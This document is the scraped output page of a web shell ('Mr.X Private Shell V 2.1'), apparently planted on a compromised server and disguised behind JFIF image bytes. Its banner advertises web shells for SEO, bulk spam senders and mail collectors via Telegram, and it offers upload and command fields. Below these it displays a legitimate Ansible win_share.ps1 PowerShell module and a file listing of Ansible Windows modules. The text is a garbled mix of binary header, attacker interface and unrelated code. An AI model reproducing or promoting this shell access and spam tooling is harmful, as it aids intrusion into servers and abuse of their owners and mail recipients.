����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
#!powershell

# Copyright: (c) 2015, Hans-Joachim Kliemeck <git@kliemeck.de>
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)

#Requires -Module Ansible.ModuleUtils.Legacy
#Requires -Module Ansible.ModuleUtils.SID

#Functions
Function NormalizeAccounts {
    param(
        [parameter(valuefrompipeline = $true)]
        $users
    )

    process {
        $users = $users.Trim()
        If ($users -eq "") {
            $splitUsers = [Collections.Generic.List[String]] @()
        }
        Else {
            $splitUsers = [Collections.Generic.List[String]] $users.Split(",")
        }

        $normalizedUsers = [Collections.Generic.List[String]] @()
        ForEach ($splitUser in $splitUsers) {
            $sid = Convert-ToSID -account_name $splitUser
            if (!$sid) {
                Fail-Json $result "$splitUser is not a valid user or group on the host machine or domain"
            }

            $normalizedUser = (New-Object System.Security.Principal.SecurityIdentifier($sid)).Translate([System.Security.Principal.NTAccount])
            $normalizedUsers.Add($normalizedUser)
        }

        return , $normalizedUsers
    }
}

$result = @{
    changed = $false
    actions = @() # More for debug purposes
}

$params = Parse-Args $args -supports_check_mode $true

# While the -SmbShare cmdlets have a -WhatIf parameter, they don't honor it, need to skip the cmdlet if in check mode
$check_mode = Get-AnsibleParam -obj $params -name "_ansible_check_mode" -type "bool" -default $false

$name = Get-AnsibleParam -obj $params -name "name" -type "str" -failifempty $true
$state = Get-AnsibleParam -obj $params -name "state" -type "str" -default "present" -validateset "present", "absent"
$rule_action = Get-AnsibleParam -obj $params -name "rule_action" -type "str" -default "set" -validateset "set", "add"

if (-not (Get-Command -Name Get-SmbShare -ErrorAction SilentlyContinue)) {
    Fail-Json $result "The current host does not support the -SmbShare cmdlets required by this module. Please run on Server 2012 or Windows 8 and later"
}

$share = Get-SmbShare -Name $name -ErrorAction SilentlyContinue
If ($state -eq "absent") {
    If ($share) {
        # See message around -WhatIf where $check_mode is defined
        if (-not $check_mode) {
            Remove-SmbShare -Force -Name $name | Out-Null
        }
        $result.actions += "Remove-SmbShare -Force -Name $name"
        $result.changed = $true
    }
}
Else {
    $path = Get-AnsibleParam -obj $params -name "path" -type "path" -failifempty $true
    $description = Get-AnsibleParam -obj $params -name "description" -type "str" -default ""

    $permissionList = Get-AnsibleParam -obj $params -name "list" -type "bool" -default $false
    $folderEnum = if ($permissionList) { "Unrestricted" } else { "AccessBased" }

    $permissionRead = Get-AnsibleParam -obj $params -name "read" -type "str" -default "" | NormalizeAccounts
    $permissionChange = Get-AnsibleParam -obj $params -name "change" -type "str" -default "" | NormalizeAccounts
    $permissionFull = Get-AnsibleParam -obj $params -name "full" -type "str" -default "" | NormalizeAccounts
    $permissionDeny = Get-AnsibleParam -obj $params -name "deny" -type "str" -default "" | NormalizeAccounts

    $cachingModeOptions = "BranchCache", "Documents", "Manual", "None", "Programs", "Unknown"
    $cachingMode = Get-AnsibleParam -obj $params -name "caching_mode" -type "str" -default "Manual" -validateSet $cachingModeOptions
    $encrypt = Get-AnsibleParam -obj $params -name "encrypt" -type "bool" -default $false

    If (-Not (Test-Path -LiteralPath $path)) {
        Fail-Json $result "$path directory does not exist on the host"
    }

    # normalize path and remove slash at the end
    $path = (Get-Item -LiteralPath $path).FullName -replace "\\$"
    $path = "$path" -replace "\:$", ":\"

    # need to (re-)create share
    If (-not $share) {
        if (-not $check_mode) {
            New-SmbShare -Name $name -Path $path | Out-Null
        }
        $share = Get-SmbShare -Name $name -ErrorAction SilentlyContinue

        $result.changed = $true
        $result.actions += "New-SmbShare -Name $name -Path $path"
        # if in check mode we cannot run the below as no share exists so just
        # exit early
        if ($check_mode) {
            Exit-Json -obj $result
        }
    }
    If ($share.Path -ne $path) {
        if (-not $check_mode) {
            Remove-SmbShare -Force -Name $name | Out-Null
            New-SmbShare -Name $name -Path $path | Out-Null
        }
        $share = Get-SmbShare -Name $name -ErrorAction SilentlyContinue
        $result.changed = $true
        $result.actions += "Remove-SmbShare -Force -Name $name"
        $result.actions += "New-SmbShare -Name $name -Path $path"
    }

    # updates
    If ($share.Description -ne $description) {
        if (-not $check_mode) {
            Set-SmbShare -Force -Name $name -Description $description | Out-Null
        }
        $result.changed = $true
        $result.actions += "Set-SmbShare -Force -Name $name -Description $description"
    }
    If ($share.FolderEnumerationMode -ne $folderEnum) {
        if (-not $check_mode) {
            Set-SmbShare -Force -Name $name -FolderEnumerationMode $folderEnum | Out-Null
        }
        $result.changed = $true
        $result.actions += "Set-SmbShare -Force -Name $name -FolderEnumerationMode $folderEnum"
    }
    if ($share.CachingMode -ne $cachingMode) {
        if (-not $check_mode) {
            Set-SmbShare -Force -Name $name -CachingMode $cachingMode | Out-Null
        }
        $result.changed = $true
        $result.actions += "Set-SmbShare -Force -Name $name -CachingMode $cachingMode"
    }
    if ($share.EncryptData -ne $encrypt) {
        if (-not $check_mode) {
            Set-SmbShare -Force -Name $name -EncryptData $encrypt | Out-Null
        }
        $result.changed = $true
        $result.actions += "Set-SmbShare -Force -Name $name -EncryptData $encrypt"
    }

    # clean permissions that imply others
    ForEach ($user in $permissionFull) {
        $permissionChange.remove($user) | Out-Null
        $permissionRead.remove($user) | Out-Null
    }
    ForEach ($user in $permissionChange) {
        $permissionRead.remove($user) | Out-Null
    }

    # remove permissions
    $permissions = Get-SmbShareAccess -Name $name
    if ($rule_action -eq "set") {
        ForEach ($permission in $permissions) {
            If ($permission.AccessControlType -eq "Deny") {
                $cim_count = 0
                foreach ($count in $permissions) {
                    $cim_count++
                }
                # Don't remove the Deny entry for Everyone if there are no other permissions set (cim_count == 1)
                if (-not ($permission.AccountName -eq 'Everyone' -and $cim_count -eq 1)) {
                    If (-not ($permissionDeny.Contains($permission.AccountName))) {
                        if (-not $check_mode) {
                            Unblock-SmbShareAccess -Force -Name $name -AccountName $permission.AccountName | Out-Null
                        }
                        $result.changed = $true
                        $result.actions += "Unblock-SmbShareAccess -Force -Name $name -AccountName $($permission.AccountName)"
                    }
                    else {
                        # Remove from the deny list as it already has the permissions
                        $permissionDeny.remove($permission.AccountName) | Out-Null
                    }
                }
            }
            ElseIf ($permission.AccessControlType -eq "Allow") {
                If ($permission.AccessRight -eq "Full") {
                    If (-not ($permissionFull.Contains($permission.AccountName))) {
                        if (-not $check_mode) {
                            Revoke-SmbShareAccess -Force -Name $name -AccountName $permission.AccountName | Out-Null
                        }
                        $result.changed = $true
                        $result.actions += "Revoke-SmbShareAccess -Force -Name $name -AccountName $($permission.AccountName)"

                        Continue
                    }

                    # user got requested permissions
                    $permissionFull.remove($permission.AccountName) | Out-Null
                }
                ElseIf ($permission.AccessRight -eq "Change") {
                    If (-not ($permissionChange.Contains($permission.AccountName))) {
                        if (-not $check_mode) {
                            Revoke-SmbShareAccess -Force -Name $name -AccountName $permission.AccountName | Out-Null
                        }
                        $result.changed = $true
                        $result.actions += "Revoke-SmbShareAccess -Force -Name $name -AccountName $($permission.AccountName)"

                        Continue
                    }

                    # user got requested permissions
                    $permissionChange.remove($permission.AccountName) | Out-Null
                }
                ElseIf ($permission.AccessRight -eq "Read") {
                    If (-not ($permissionRead.Contains($permission.AccountName))) {
                        if (-not $check_mode) {
                            Revoke-SmbShareAccess -Force -Name $name -AccountName $permission.AccountName | Out-Null
                        }
                        $result.changed = $true
                        $result.actions += "Revoke-SmbShareAccess -Force -Name $name -AccountName $($permission.AccountName)"

                        Continue
                    }

                    # user got requested permissions
                    $permissionRead.Remove($permission.AccountName) | Out-Null
                }
            }
        }
    }
    ElseIf ($rule_action -eq "add") {
        ForEach ($permission in $permissions) {
            If ($permission.AccessControlType -eq "Deny") {
                If ($permissionDeny.Contains($permission.AccountName)) {
                    $permissionDeny.Remove($permission.AccountName)
                }
            }
            ElseIf ($permission.AccessControlType -eq "Allow") {
                If ($permissionFull.Contains($permission.AccountName) -and $permission.AccessRight -eq "Full") {
                    $permissionFull.Remove($permission.AccountName)
                }
                ElseIf ($permissionChange.Contains($permission.AccountName) -and $permission.AccessRight -eq "Change") {
                    $permissionChange.Remove($permission.AccountName)
                }
                ElseIf ($permissionRead.Contains($permission.AccountName) -and $permission.AccessRight -eq "Read") {
                    $permissionRead.Remove($permission.AccountName)
                }
            }
        }
    }

    # add missing permissions
    ForEach ($user in $permissionRead) {
        if (-not $check_mode) {
            Grant-SmbShareAccess -Force -Name $name -AccountName $user -AccessRight "Read" | Out-Null
        }
        $result.changed = $true
        $result.actions += "Grant-SmbShareAccess -Force -Name $name -AccountName $user -AccessRight Read"
    }
    ForEach ($user in $permissionChange) {
        if (-not $check_mode) {
            Grant-SmbShareAccess -Force -Name $name -AccountName $user -AccessRight "Change" | Out-Null
        }
        $result.changed = $true
        $result.actions += "Grant-SmbShareAccess -Force -Name $name -AccountName $user -AccessRight Change"
    }
    ForEach ($user in $permissionFull) {
        if (-not $check_mode) {
            Grant-SmbShareAccess -Force -Name $name -AccountName $user -AccessRight "Full" | Out-Null
        }
        $result.changed = $true
        $result.actions += "Grant-SmbShareAccess -Force -Name $name -AccountName $user -AccessRight Full"
    }
    ForEach ($user in $permissionDeny) {
        if (-not $check_mode) {
            Block-SmbShareAccess -Force -Name $name -AccountName $user | Out-Null
        }
        $result.changed = $true
        $result.actions += "Block-SmbShareAccess -Force -Name $name -AccountName $user"
    }
}

Exit-Json $result

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
__init__.py File 0 B 0644
async_status.ps1 File 1.81 KB 0644
async_status.yml File 1.77 KB 0644
setup.ps1 File 49.89 KB 0644
setup.yml File 2.35 KB 0644
slurp.ps1 File 728 B 0644
slurp.yml File 1.5 KB 0644
win_acl.ps1 File 9.54 KB 0644
win_acl.py File 4.14 KB 0644
win_acl_inheritance.ps1 File 4.72 KB 0644
win_acl_inheritance.py File 2.34 KB 0644
win_certificate_store.ps1 File 19.78 KB 0644
win_certificate_store.py File 8.08 KB 0644
win_command.ps1 File 3.98 KB 0644
win_command.py File 6.13 KB 0644
win_copy.ps1 File 18.06 KB 0644
win_copy.py File 6.55 KB 0644
win_dns_client.ps1 File 12.99 KB 0644
win_dns_client.py File 2.13 KB 0644
win_domain.ps1 File 7.67 KB 0644
win_domain.py File 4.15 KB 0644
win_domain_controller.ps1 File 12.37 KB 0644
win_domain_controller.py File 5.66 KB 0644
win_domain_membership.ps1 File 10.36 KB 0644
win_domain_membership.py File 3.35 KB 0644
win_dsc.ps1 File 19.46 KB 0644
win_dsc.py File 7.31 KB 0644
win_environment.ps1 File 5.56 KB 0644
win_environment.py File 4.13 KB 0644
win_feature.ps1 File 4.1 KB 0644
win_feature.py File 4.63 KB 0644
win_file.ps1 File 5.4 KB 0644
win_file.py File 2.16 KB 0644
win_find.ps1 File 14.29 KB 0644
win_find.py File 11.19 KB 0644
win_get_url.ps1 File 11.59 KB 0644
win_get_url.py File 5.82 KB 0644
win_group.ps1 File 1.64 KB 0644
win_group.py File 1.1 KB 0644
win_group_membership.ps1 File 5.82 KB 0644
win_group_membership.py File 2.95 KB 0644
win_hostname.ps1 File 1 KB 0644
win_hostname.py File 1.07 KB 0644
win_optional_feature.ps1 File 2.84 KB 0644
win_optional_feature.py File 2.32 KB 0644
win_owner.ps1 File 2.18 KB 0644
win_owner.py File 1.05 KB 0644
win_package.ps1 File 51.85 KB 0644
win_package.py File 15.68 KB 0644
win_path.ps1 File 6.17 KB 0644
win_path.py File 2.94 KB 0644
win_ping.ps1 File 454 B 0644
win_ping.py File 1.16 KB 0644
win_powershell.ps1 File 29.57 KB 0644
win_powershell.py File 15.7 KB 0644
win_reboot.py File 4.76 KB 0644
win_reg_stat.ps1 File 4.11 KB 0644
win_reg_stat.py File 3.51 KB 0644
win_regedit.ps1 File 18.12 KB 0644
win_regedit.py File 6.35 KB 0644
win_service.ps1 File 37.85 KB 0644
win_service.py File 16.71 KB 0644
win_service_info.ps1 File 9.98 KB 0644
win_service_info.py File 9.44 KB 0644
win_share.ps1 File 11.93 KB 0644
win_share.py File 3.02 KB 0644
win_shell.ps1 File 4.93 KB 0644
win_shell.py File 5.69 KB 0644
win_stat.ps1 File 7.24 KB 0644
win_stat.py File 7.39 KB 0644
win_tempfile.ps1 File 2.46 KB 0644
win_tempfile.py File 1.49 KB 0644
win_template.py File 5.48 KB 0644
win_updates.ps1 File 57.42 KB 0644
win_updates.py File 11.95 KB 0644
win_uri.ps1 File 7.95 KB 0644
win_uri.py File 4.14 KB 0644
win_user.ps1 File 16.46 KB 0644
win_user.py File 5.43 KB 0644
win_user_right.ps1 File 13.78 KB 0644
win_user_right.py File 3.24 KB 0644
win_wait_for.ps1 File 9.56 KB 0644
win_wait_for.py File 4.42 KB 0644
win_whoami.ps1 File 30.96 KB 0644
win_whoami.py File 5.29 KB 0644